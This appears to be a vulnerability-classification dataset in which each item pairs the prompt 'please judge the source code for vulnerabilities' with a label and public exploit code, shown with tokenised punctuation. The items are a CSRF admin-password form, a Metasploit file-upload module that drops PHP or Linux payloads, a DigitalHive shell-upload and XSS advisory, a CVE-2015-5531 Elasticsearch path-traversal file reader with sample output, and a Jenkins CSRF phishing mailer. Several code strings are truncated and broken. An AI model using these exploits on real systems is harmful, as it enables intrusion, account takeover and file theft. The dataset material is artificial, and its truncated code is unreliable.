[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>[<NEWLINE>With this exploit we can remotely change admins password.<NEWLINE>[EXPLOIT<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>]<NEWLINE><form action=<double<underscore>quote>http:<slash><slash>localhost<slash>mmp<slash>admin.php?action=change&mode=verify<double<underscore>quote><NEWLINE>method=<double<underscore>quote>post<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>admin<underscore>id<double<underscore>quote> value=<double<underscore>quote>admin<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>admin<underscore>email<double<underscore>quote> value=<double<underscore>quote>my@newmail.net<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>company<double<underscore>quote> value=<double<underscore>quote>My Company<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>admin<underscore>pass<double<underscore>quote> value=<double<underscore>quote>hacked<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>cpass<double<underscore>quote> value=<double<underscore>quote>hacked<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> name=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Change<double<underscore>quote>><NEWLINE><<slash>form><NEWLINE>[EXPLOIT<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>]<NEWLINE>[
1
please judge the source code for vulnerabilities.
require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit3 < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>include Msf::Exploit::EXE<NEWLINE>def initialize(info={})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <double<underscore>quote>Auxilium RateMyPet Arbitrary File Upload Vulnerability<double<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits a vulnerability found in Auxilium RateMyPet<single<underscore>quote>s. The site<NEWLINE>banner uploading feature can be abused to upload an arbitrary file to the web<NEWLINE>server, which is accessible in the <single<underscore>quote>banner<single<underscore>quote> directory, thus allowing remote code<NEWLINE>execution.<NEWLINE>},<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Author<single<underscore>quote> =><NEWLINE>[<NEWLINE><single<underscore>quote>DaOne<single<underscore>quote>,<NEWLINE><single<underscore>quote>sinn3r<single<underscore>quote><NEWLINE>],<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>OSVDB<single<underscore>quote>, <single<underscore>quote>85554<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>EDB<single<underscore>quote>, <single<underscore>quote>21329<single<underscore>quote>]<NEWLINE>],<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>BadChars<single<underscore>quote> => <double<underscore>quote><backslash>x00<double<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>DefaultOptions<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>ExitFunction<single<underscore>quote> => <double<underscore>quote>none<double<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => [<single<underscore>quote>linux<single<underscore>quote>, <single<underscore>quote>php<single<underscore>quote>],<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> =><NEWLINE>[<NEWLINE>[ <single<underscore>quote>Generic (PHP Payload)<single<underscore>quote>, { <single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>PHP, <single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>php<single<underscore>quote> } ],<NEWLINE>[ <single<underscore>quote>Linux x86<single<underscore>quote> , { <single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>X86, <single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>linux<single<underscore>quote>} ]<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <double<underscore>quote>Sep 14 2012<double<underscore>quote>,<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [true, <single<underscore>quote>The base directory to the application<single<underscore>quote>, <single<underscore>quote><slash>Auxiliumpetratepro<slash><single<underscore>quote>])<NEWLINE>], self.class)<NEWLINE>end<NEWLINE>def check<NEWLINE>target<underscore>uri.path << <single<underscore>quote><slash><single<underscore>quote> if target<underscore>uri.path[<hyphen>1,1] != <single<underscore>quote><slash><single<underscore>quote><NEWLINE>base = File.dirname(<double<underscore>quote><NEWLINE>res = send<underscore>request<underscore>raw({<single<underscore>quote>uri<single<underscore>quote>=><double<underscore>quote><NEWLINE>if res and res.body =~ <slash><backslash><title<backslash>>Pet Rate Admin <backslash><hyphen> Banner Manager<backslash><<backslash><slash>title<backslash>><slash><NEWLINE>return Exploit::CheckCode::Appears<NEWLINE>else<NEWLINE>return Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>end<NEWLINE>def get<underscore>write<underscore>exec<underscore>payload(fname, data)<NEWLINE>p = Rex::Text.encode<underscore>base64(generate<underscore>payload<underscore>exe)<NEWLINE>php = %Q|<NEWLINE><?php<NEWLINE>$f = fopen(<double<underscore>quote><NEWLINE>fwrite($f, base64<underscore>decode(<double<underscore>quote><NEWLINE>fclose($f);<NEWLINE>exec(<double<underscore>quote>chmod 777<NEWLINE>exec(<double<underscore>quote><NEWLINE>?><NEWLINE>|<NEWLINE>php = php.gsub(<slash>^<backslash>t<backslash>t<slash>, <single<underscore>quote><single<underscore>quote>).gsub(<slash><backslash>n<slash>, <single<underscore>quote> <single<underscore>quote>)<NEWLINE>return php<NEWLINE>end<NEWLINE>def on<underscore>new<underscore>session(cli)<NEWLINE>if cli.type == <double<underscore>quote>meterpreter<double<underscore>quote><NEWLINE>cli.core.use(<double<underscore>quote>stdapi<double<underscore>quote>) if not cli.ext.aliases.include?(<double<underscore>quote>stdapi<double<underscore>quote>)<NEWLINE>end<NEWLINE>@clean<underscore>files.each do |f|<NEWLINE>print<underscore>status(<double<underscore>quote><NEWLINE>begin<NEWLINE>if cli.type == <single<underscore>quote>meterpreter<single<underscore>quote><NEWLINE>cli.fs.file.rm(f)<NEWLINE>else<NEWLINE>cli.shell<underscore>command<underscore>token(<double<underscore>quote>rm<NEWLINE>end<NEWLINE>rescue ::Exception => e<NEWLINE>print<underscore>error(<double<underscore>quote><NEWLINE>end<NEWLINE>end<NEWLINE>end<NEWLINE>def upload<underscore>exec(base, php<underscore>fname, p)<NEWLINE>data = Rex::MIME::Message.new<NEWLINE>data.add<underscore>part(<single<underscore>quote>http:<slash><slash><single<underscore>quote>, nil, nil, <double<underscore>quote>form<hyphen>data; name=<backslash><double<underscore>quote>burl<backslash><double<underscore>quote><double<underscore>quote>)<NEWLINE>data.add<underscore>part(<single<underscore>quote><single<underscore>quote>, nil, nil, <double<underscore>quote>form<hyphen>data; name=<backslash><double<underscore>quote>alt<backslash><double<underscore>quote><double<underscore>quote>)<NEWLINE>data.add<underscore>part(p, <single<underscore>quote>text<slash>plain<single<underscore>quote>, nil, <double<underscore>quote>form<hyphen>data; name=<backslash><double<underscore>quote>userfile<backslash><double<underscore>quote>; filename=<backslash><double<underscore>quote><NEWLINE>data.add<underscore>part(<single<underscore>quote> Upload<single<underscore>quote>, nil, nil, <double<underscore>quote>form<hyphen>data; name=<backslash><double<underscore>quote>submitok<backslash><double<underscore>quote><double<underscore>quote>)<NEWLINE>post<underscore>data = data.to<underscore>s<NEWLINE>post<underscore>data = post<underscore>data.gsub(<slash>^<backslash>r<backslash>n<backslash><hyphen><backslash><hyphen><backslash><underscore>Part<backslash><underscore><slash>, <single<underscore>quote><hyphen><hyphen><underscore>Part<underscore><single<underscore>quote>)<NEWLINE>print<underscore>status(<double<underscore>quote><NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => <double<underscore>quote><NEWLINE><single<underscore>quote>ctype<single<underscore>quote> => <double<underscore>quote>multipart<slash>form<hyphen>data; boundary=<NEWLINE><single<underscore>quote>data<single<underscore>quote> => post<underscore>data,<NEWLINE>})<NEWLINE>if not res<NEWLINE>print<underscore>error(<double<underscore>quote><NEWLINE>return<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote><NEWLINE>res = send<underscore>request<underscore>raw({<single<underscore>quote>uri<single<underscore>quote>=><double<underscore>quote><NEWLINE>if res and res.code == 404<NEWLINE>print<underscore>error(<double<underscore>quote><NEWLINE>return<NEWLINE>end<NEWLINE>handler<NEWLINE>end<NEWLINE>def exploit<NEWLINE>@peer = <double<underscore>quote><NEWLINE>target<underscore>uri.path << <single<underscore>quote><slash><single<underscore>quote> if target<underscore>uri.path[<hyphen>1,1] != <single<underscore>quote><slash><single<underscore>quote><NEWLINE>base = File.dirname(<double<underscore>quote><NEWLINE>php<underscore>fname = <double<underscore>quote><NEWLINE>@clean<underscore>files = [php<underscore>fname]<NEWLINE>case target[<single<underscore>quote>Platform<single<underscore>quote>]<NEWLINE>when <single<underscore>quote>php<single<underscore>quote><NEWLINE>p = <double<underscore>quote><?php<NEWLINE>when <single<underscore>quote>linux<single<underscore>quote><NEWLINE>bin<underscore>name = <double<underscore>quote><NEWLINE>@clean<underscore>files << bin<underscore>name<NEWLINE>bin = generate<underscore>payload<underscore>exe<NEWLINE>p = get<underscore>write<underscore>exec<underscore>payload(<double<underscore>quote><slash>tmp<slash><NEWLINE>end<NEWLINE>upload<underscore>exec(base, php<underscore>fname, p)<NEWLINE>end<NEWLINE>end
1
please judge the source code for vulnerabilities.
[<hyphen>]<NEWLINE>|<NEWLINE>| DigitalHive Remote File Upload Vulnerability<NEWLINE>|<NEWLINE>| Author : ViRuSMaN<NEWLINE>|<NEWLINE>| Contact : v.<hyphen>m@live.com<NEWLINE>|<NEWLINE>| Home : Islam<hyphen>Attack.CoM , HackTeach.OrG<NEWLINE>|<NEWLINE>| Download :http:<slash><slash>www.digitalhive.com<slash>base.php?page=site<slash>telechargements.php&var=accueil<NEWLINE>[<hyphen>]<NEWLINE>|<NEWLINE>| Exp:<NEWLINE>|<NEWLINE>| 1<hyphen> First signup in the forum by going here http:<slash><slash>localhost<slash>[script]<slash>base.php?page=inscription.php<NEWLINE>|<NEWLINE>|<NEWLINE>| 2<hyphen>Then going to your profile here http:<slash><slash>localhost<slash>[script]<slash>base.php?page=compte.php&var=accueil and click <double<underscore>quote>modfier<double<underscore>quote><NEWLINE>|<NEWLINE>|<NEWLINE>| 3<hyphen>Now upload your shell in <double<underscore>quote>php.jpg<double<underscore>quote> format<NEWLINE>|<NEWLINE>|<NEWLINE>| 4<hyphen>Finally do a right click in the icon situated in <double<underscore>quote>Apparence<double<underscore>quote> then copy the link of your shell.<NEWLINE>|<NEWLINE>[<hyphen>]<NEWLINE>|<NEWLINE>|Greets : All members of islam<hyphen>attack.com , hackteach.org , s3curi7y.com & All Muslim<single<underscore>quote>s<NEWLINE>|<NEWLINE>[<hyphen>]<NEWLINE>==============================================================================<NEWLINE>[»] DigitalHive Multiple Vulnerabilities<NEWLINE>==============================================================================<NEWLINE>[»] Script: [ DigitalHive ]<NEWLINE>[»] Language: [ PHP ]<NEWLINE>[»] Site page: [ Hive est systeme permettant de creer facilement et rapidement un systeme ]<NEWLINE>[»] Download: [ http:<slash><slash>www.digitalhive.com<slash>base.php?page=site<slash>telechargements.php&var=dl&num=17 ]<NEWLINE>[»] Founder: [ ViRuSMaN <v.<hyphen>m@live.com <hyphen> totti<underscore>55<underscore>3@yahoo.com> ]<NEWLINE>[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & Sec<hyphen>Attack.Com ]<NEWLINE>[»] My Home: [ HackTeach.Org , Islam<hyphen>Attack.Com ]<NEWLINE>===[ Exploit ]===<NEWLINE>[»] http:<slash><slash>server<slash>[path]<slash>base.php?page=membres.php&mt=[Xss Vuln]<NEWLINE>===[ Live Demo ]===<NEWLINE>[»] http:<slash><slash>server<slash>base.php?page=membres.php&mt=%22%3E%3Cscript%3Ealert(1);%3C<slash>script%3E<NEWLINE>Author: ViRuSMaN <<hyphen>
1
please judge the source code for vulnerabilities.
```<NEWLINE>[crg@fogheaven elasticpwn]$ python CVE<hyphen>2015<hyphen>5531.py exploitlab.int <slash>etc<slash>hosts<NEWLINE>!dSR script for CVE<hyphen>2015<hyphen>5531<NEWLINE>127.0.0.1 localhost<NEWLINE>::1 ip6<hyphen>localhost ip6<hyphen>loopback<NEWLINE>fe00::0 ip6<hyphen>localnet<NEWLINE>ff00::0 ip6<hyphen>mcastprefix<NEWLINE>ff02::1 ip6<hyphen>allnodes<NEWLINE>ff02::2 ip6<hyphen>allrouters<NEWLINE>ff02::3 ip6<hyphen>allhosts<NEWLINE>The script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.<NEWLINE>In order to bypass the snapshot<hyphen> prefix setted in the server side, we need to create a known relative path:<NEWLINE>curl http:<slash><slash>exploitlab.int:9200<slash><underscore>snapshot<slash>?pretty<NEWLINE>{<NEWLINE><double<underscore>quote>pwn<double<underscore>quote> : {<NEWLINE><double<underscore>quote>type<double<underscore>quote> : <double<underscore>quote>fs<double<underscore>quote>,<NEWLINE><double<underscore>quote>settings<double<underscore>quote> : {<NEWLINE><double<underscore>quote>location<double<underscore>quote> : <double<underscore>quote>dsr<double<underscore>quote><NEWLINE>}<NEWLINE>},<NEWLINE><double<underscore>quote>pwnie<double<underscore>quote> : {<NEWLINE><double<underscore>quote>type<double<underscore>quote> : <double<underscore>quote>fs<double<underscore>quote>,<NEWLINE><double<underscore>quote>settings<double<underscore>quote> : {<NEWLINE><double<underscore>quote>location<double<underscore>quote> : <double<underscore>quote>dsr<slash>snapshot<hyphen>ev1l<double<underscore>quote><NEWLINE>}<NEWLINE>}<NEWLINE>}<NEWLINE>We will use it later to access through path traversal url:<NEWLINE>trav = <single<underscore>quote>ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..<single<underscore>quote><NEWLINE>The file content it<single<underscore>quote>s represented as an array of ints, that needs to be translated into human readable:<NEWLINE>crg@exploitlab:~$ python elk<hyphen>5531.py localhost <slash>etc<slash>issue<NEWLINE>!dSR script for CVE<hyphen>2015<hyphen>5531<NEWLINE>{u<single<underscore>quote>status<single<underscore>quote>: 400, u<single<underscore>quote>error<single<underscore>quote>: u<single<underscore>quote>ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]<single<underscore>quote>}<NEWLINE>[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS <backslash>n <backslash>l<NEWLINE>There is also a path disclosure that could help exploiting in some scenarios:<NEWLINE>crg@exploitlab:~$ python elk<hyphen>5531.py localhost <slash>etc<slash>passwda<NEWLINE>!dSR script for CVE<hyphen>2015<hyphen>5531<NEWLINE>{<double<underscore>quote>error<double<underscore>quote>:<double<underscore>quote>SnapshotMissingException[[pwn:dsr<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>etc<slash>passwda] is missing]; nested: FileNotFoundException[<slash>var<slash>tmp<slash>dsr<slash>snapshot<hyphen>dsr<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>etc<slash>passwda (No such file or directory)]; <double<underscore>quote>,<double<underscore>quote>status<double<underscore>quote>:404}<NEWLINE>```<NEWLINE>import urllib, urllib2, json, sys, re<NEWLINE>print <double<underscore>quote>!dSR script for CVE<hyphen>2015<hyphen>5531<backslash>n<double<underscore>quote><NEWLINE>if len(sys.argv) <> 3:<NEWLINE>print <double<underscore>quote>Ex: %s www.example.com <slash>etc<slash>passwd<double<underscore>quote> % sys.argv[0]<NEWLINE>sys.exit()<NEWLINE>host = sys.argv[1]<NEWLINE>fpath = urllib.quote(sys.argv[2], safe=<single<underscore>quote><single<underscore>quote>)<NEWLINE>port = 9200<NEWLINE>trav = <single<underscore>quote>ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..<single<underscore>quote><NEWLINE>reponame = <single<underscore>quote>pwn<single<underscore>quote><NEWLINE>baseurl = <double<underscore>quote>http:<slash><slash>%s:%s<slash><underscore>snapshot<slash><double<underscore>quote> % (host, port)<NEWLINE>xplurl = <single<underscore>quote>%s%s<slash>%s%s<single<underscore>quote> % (baseurl, reponame, trav, fpath)<NEWLINE>def createSnapdirs():<NEWLINE>try:<NEWLINE>url = <double<underscore>quote>%s<slash>%s<double<underscore>quote> % (baseurl, reponame)<NEWLINE>request = urllib2.Request(url, data=<single<underscore>quote>{<double<underscore>quote>type<double<underscore>quote>:<double<underscore>quote>fs<double<underscore>quote>,<double<underscore>quote>settings<double<underscore>quote>:{<double<underscore>quote>location<double<underscore>quote>:<double<underscore>quote>dsr<double<underscore>quote>}}<single<underscore>quote>)<NEWLINE>request.get<underscore>method = lambda: <single<underscore>quote>POST<single<underscore>quote><NEWLINE>urllib2.urlopen(request)<NEWLINE>url = <double<underscore>quote>%s<slash>%sie<double<underscore>quote> % (baseurl, reponame)<NEWLINE>request = urllib2.Request(url, data=<single<underscore>quote>{<double<underscore>quote>type<double<underscore>quote>:<double<underscore>quote>fs<double<underscore>quote>,<double<underscore>quote>settings<double<underscore>quote>:{<double<underscore>quote>location<double<underscore>quote>:<double<underscore>quote>dsr<slash>snapshot<hyphen>ev1l<double<underscore>quote>}}<single<underscore>quote>)<NEWLINE>request.get<underscore>method = lambda: <single<underscore>quote>POST<single<underscore>quote><NEWLINE>urllib2.urlopen(request)<NEWLINE>except urllib2.HTTPError, e:<NEWLINE>data = json.load(e)<NEWLINE>print <double<underscore>quote>[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:<backslash>n<double<underscore>quote><NEWLINE>print str(data[<single<underscore>quote>error<single<underscore>quote>])<NEWLINE>sys.exit()<NEWLINE>def grabFile(xplurl):<NEWLINE>try:<NEWLINE>urllib2.urlopen(xplurl)<NEWLINE>except urllib2.HTTPError, e:<NEWLINE>data = json.load(e)<NEWLINE>extrdata = re.findall(r<single<underscore>quote><backslash>d+<single<underscore>quote>, str(data[<single<underscore>quote>error<single<underscore>quote>]))<NEWLINE>decoder = bytearray()<NEWLINE>for i in extrdata[+2:]:<NEWLINE>decoder.append(int(i))<NEWLINE>print decoder<NEWLINE>def main():<NEWLINE>createSnapdirs()<NEWLINE>grabFile(xplurl)<NEWLINE>if <underscore><underscore>name<underscore><underscore> == <double<underscore>quote><underscore><underscore>main<underscore><underscore><double<underscore>quote>:<NEWLINE>main()
1
please judge the source code for vulnerabilities.
import email.message<NEWLINE>import smtplib<NEWLINE>import getpass<NEWLINE>payload<underscore>list = [<single<underscore>quote>url<single<underscore>quote>,<single<underscore>quote>subject<single<underscore>quote>,<single<underscore>quote>cover<underscore>message<single<underscore>quote>,<single<underscore>quote>sender<single<underscore>quote>,<single<underscore>quote>reciver<single<underscore>quote>,<single<underscore>quote>test<underscore>email<single<underscore>quote>,<single<underscore>quote>smtp<underscore>server<single<underscore>quote>,<single<underscore>quote>l<underscore>id<single<underscore>quote>,<single<underscore>quote>l<underscore>pw<single<underscore>quote>]<NEWLINE>table = {}<NEWLINE>for i in payload<underscore>list :<NEWLINE>table.update({i:<single<underscore>quote><single<underscore>quote>})<NEWLINE>def send<underscore>mail() :<NEWLINE>msg = email.message.Message()<NEWLINE>msg[<single<underscore>quote>Subject<single<underscore>quote>] = table[<single<underscore>quote>subject<single<underscore>quote>]<NEWLINE>msg[<single<underscore>quote>From<single<underscore>quote>] = table[<single<underscore>quote>sender<single<underscore>quote>]<NEWLINE>msg[<single<underscore>quote>To<single<underscore>quote>] = table[<single<underscore>quote>reciver<single<underscore>quote>]<NEWLINE>msg.add<underscore>header(<single<underscore>quote>Content<hyphen>Type<single<underscore>quote>,<single<underscore>quote>text<slash>html<single<underscore>quote>)<NEWLINE>msg.set<underscore>payload(<single<underscore>quote><a href=<double<underscore>quote><single<underscore>quote>+table[<single<underscore>quote>url<single<underscore>quote>]+<single<underscore>quote><backslash><NEWLINE><slash>descriptorByName<slash>hudson.tasks.Mailer<slash>sendTestMail?<backslash><NEWLINE>charset=UTF<hyphen>8&sendTestMailTo=<single<underscore>quote>+table[<single<underscore>quote>test<underscore>email<single<underscore>quote>]+<single<underscore>quote>&adminAddress=<single<underscore>quote>+table[<single<underscore>quote>reciver<single<underscore>quote>]+<single<underscore>quote><backslash><NEWLINE>&smtpPort=465&smtpServer=<single<underscore>quote>+table[<single<underscore>quote>smtp<underscore>server<single<underscore>quote>]+<single<underscore>quote>&smtpAuthPasswordSecret=<single<underscore>quote>+table[<single<underscore>quote>l<underscore>pw<single<underscore>quote>]+<single<underscore>quote><backslash><NEWLINE>&useSMTPAuth=true&useSsl=true&smtpAuthUserName=<single<underscore>quote>+table[<single<underscore>quote>l<underscore>id<single<underscore>quote>]+<single<underscore>quote><double<underscore>quote>><backslash><NEWLINE><single<underscore>quote>+table[<single<underscore>quote>cover<underscore>message<single<underscore>quote>]+<single<underscore>quote><<slash>a><single<underscore>quote>)<NEWLINE>s = smtplib.SMTP(table[<single<underscore>quote>smtp<underscore>server<single<underscore>quote>])<NEWLINE>s.starttls()<NEWLINE>s.login(table[<single<underscore>quote>l<underscore>id<single<underscore>quote>],<NEWLINE>table[<single<underscore>quote>l<underscore>pw<single<underscore>quote>])<NEWLINE>s.sendmail(msg[<single<underscore>quote>From<single<underscore>quote>], [msg[<single<underscore>quote>To<single<underscore>quote>]], msg.as<underscore>string())<NEWLINE>def url<underscore>set() :<NEWLINE>url = str(input(<double<underscore>quote>Jenkins Server<single<underscore>quote>s URL(ex : http:<slash><slash>vuln.jenkins.com) : <double<underscore>quote>))<NEWLINE>if len(url) <= 0 :<NEWLINE>print (<double<underscore>quote> Can<single<underscore>quote>t Be Null!<double<underscore>quote>)<NEWLINE>url<underscore>set()<NEWLINE>elif url[0:4] != <double<underscore>quote>http<double<underscore>quote> :<NEWLINE>print (<double<underscore>quote> URL must start with <single<underscore>quote>http:<slash><slash><single<underscore>quote> <double<underscore>quote>)<NEWLINE>url<underscore>set()<NEWLINE>else : table[<single<underscore>quote>url<single<underscore>quote>] = url<NEWLINE>def subject<underscore>set() :<NEWLINE>subject = str(input (<double<underscore>quote>SUBJECT [Default : Look! Warning with your Jenkins] : <double<underscore>quote>))<NEWLINE>if len(subject) <= 0 :<NEWLINE>subject = <double<underscore>quote>Look! Waning with your Jenkins<double<underscore>quote><NEWLINE>table[<single<underscore>quote>subject<single<underscore>quote>] = subject<NEWLINE>def cover<underscore>message() :<NEWLINE>cover<underscore>message = str(input (<double<underscore>quote>Cover Message [Default : Here is your Vulnable!] : <double<underscore>quote>))<NEWLINE>if len(cover<underscore>message) <= 0 :<NEWLINE>cover<underscore>message = <double<underscore>quote>Here is your Vulnable!<double<underscore>quote><NEWLINE>table[<single<underscore>quote>cover<underscore>message<single<underscore>quote>] = cover<underscore>message<NEWLINE>def sender() :<NEWLINE>sender = str(input (<double<underscore>quote>Attacker E<hyphen>mail(ex : attacker@abcd.com) : <double<underscore>quote>))<NEWLINE>if len(sender) <= 0 :<NEWLINE>print (<double<underscore>quote> Can<single<underscore>quote>t Be Null!<double<underscore>quote>)<NEWLINE>sender()<NEWLINE>else : table[<single<underscore>quote>sender<single<underscore>quote>] = sender<NEWLINE>def reciver() :<NEWLINE>reciver = str(input (<double<underscore>quote>Admin<single<underscore>quote>s E<hyphen>mail(ex : admin@abcd.com) : <double<underscore>quote>))<NEWLINE>if len(reciver) <= 0 :<NEWLINE>print (<double<underscore>quote> Can<single<underscore>quote>t Be Null!<double<underscore>quote>)<NEWLINE>reciver()<NEWLINE>else : table[<single<underscore>quote>reciver<single<underscore>quote>] = reciver<NEWLINE>def test<underscore>email() :<NEWLINE>test<underscore>email = str(input (<double<underscore>quote>Tester E<hyphen>mail(ex : tester@abcd.com) : <double<underscore>quote>))<NEWLINE>if len(test<underscore>email) <= 0 :<NEWLINE>print (<double<underscore>quote> Can<single<underscore>quote>t Be Null!<double<underscore>quote>)<NEWLINE>test<underscore>email()<NEWLINE>table[<single<underscore>quote>test<underscore>email<single<underscore>quote>] = test<underscore>email<NEWLINE>def smtp<underscore>server() :<NEWLINE>smtp<underscore>server = str(input (<double<underscore>quote>SMTP<underscore>Server [Default : smtp.gmail.com] : <double<underscore>quote>))<NEWLINE>if len(smtp<underscore>server) <= 0 :<NEWLINE>smtp<underscore>server = <double<underscore>quote>smtp.gmail.com<double<underscore>quote><NEWLINE>table[<single<underscore>quote>smtp<underscore>server<single<underscore>quote>] = smtp<underscore>server<NEWLINE>def l<underscore>id() :<NEWLINE>l<underscore>id = str(input (<double<underscore>quote>Your SMTP<underscore>Server ID : <double<underscore>quote>))<NEWLINE>if len(l<underscore>id) <= 0 :<NEWLINE>print (<double<underscore>quote> Can<single<underscore>quote>t Be Null!<double<underscore>quote>)<NEWLINE>l<underscore>id()<NEWLINE>table[<single<underscore>quote>l<underscore>id<single<underscore>quote>] = l<underscore>id<NEWLINE>def l<underscore>pw() :<NEWLINE>l<underscore>pw = str(getpass.getpass(<double<underscore>quote>Your SMTP<underscore>Server PW : <double<underscore>quote>))<NEWLINE>if len(l<underscore>pw) <= 0 :<NEWLINE>print (<double<underscore>quote> Can<single<underscore>quote>t Be Null!<double<underscore>quote>)<NEWLINE>l<underscore>pw()<NEWLINE>table[<single<underscore>quote>l<underscore>pw<single<underscore>quote>] = l<underscore>pw<NEWLINE>def set<underscore>all () :<NEWLINE>url<underscore>set()<NEWLINE>subject<underscore>set()<NEWLINE>cover<underscore>message()<NEWLINE>sender()<NEWLINE>reciver()<NEWLINE>test<underscore>email()<NEWLINE>smtp<underscore>server()<NEWLINE>l<underscore>id()<NEWLINE>l<underscore>pw()<NEWLINE>print (<double<underscore>quote>Setting Complit! Use <single<underscore>quote>show<single<underscore>quote> to check options<double<underscore>quote>)<NEWLINE>set<underscore>help = {<NEWLINE><single<underscore>quote>all<single<underscore>quote>:<double<underscore>quote>Set all payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>help<single<underscore>quote>:<double<underscore>quote>Show set commend<single<underscore>quote>s help<double<underscore>quote>,<NEWLINE><single<underscore>quote>url<underscore>set<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>url<underscore>set<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>subject<underscore>set<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>url<underscore>set<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>cover<underscore>message<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>cover<underscore>message<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>sender<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>sender<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>reciver<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>reciver<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>test<underscore>email<single<underscore>quote>:<double<underscore>quote>Set only 